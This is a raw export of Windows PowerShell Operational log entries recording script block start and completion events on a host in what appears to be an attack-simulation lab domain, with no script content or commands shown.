Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022973
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022971
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022969
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022967
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022965
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022983
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022981
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022980
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022979
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022977
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022975
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022994
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022993
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022992
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022991
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022989
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022987
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022985
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023003
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023001
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023000
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022999
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022998
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022997
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022995
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023013
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023012
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023011
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023010
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023009
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023007
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023005
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023024
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023023
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023022
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
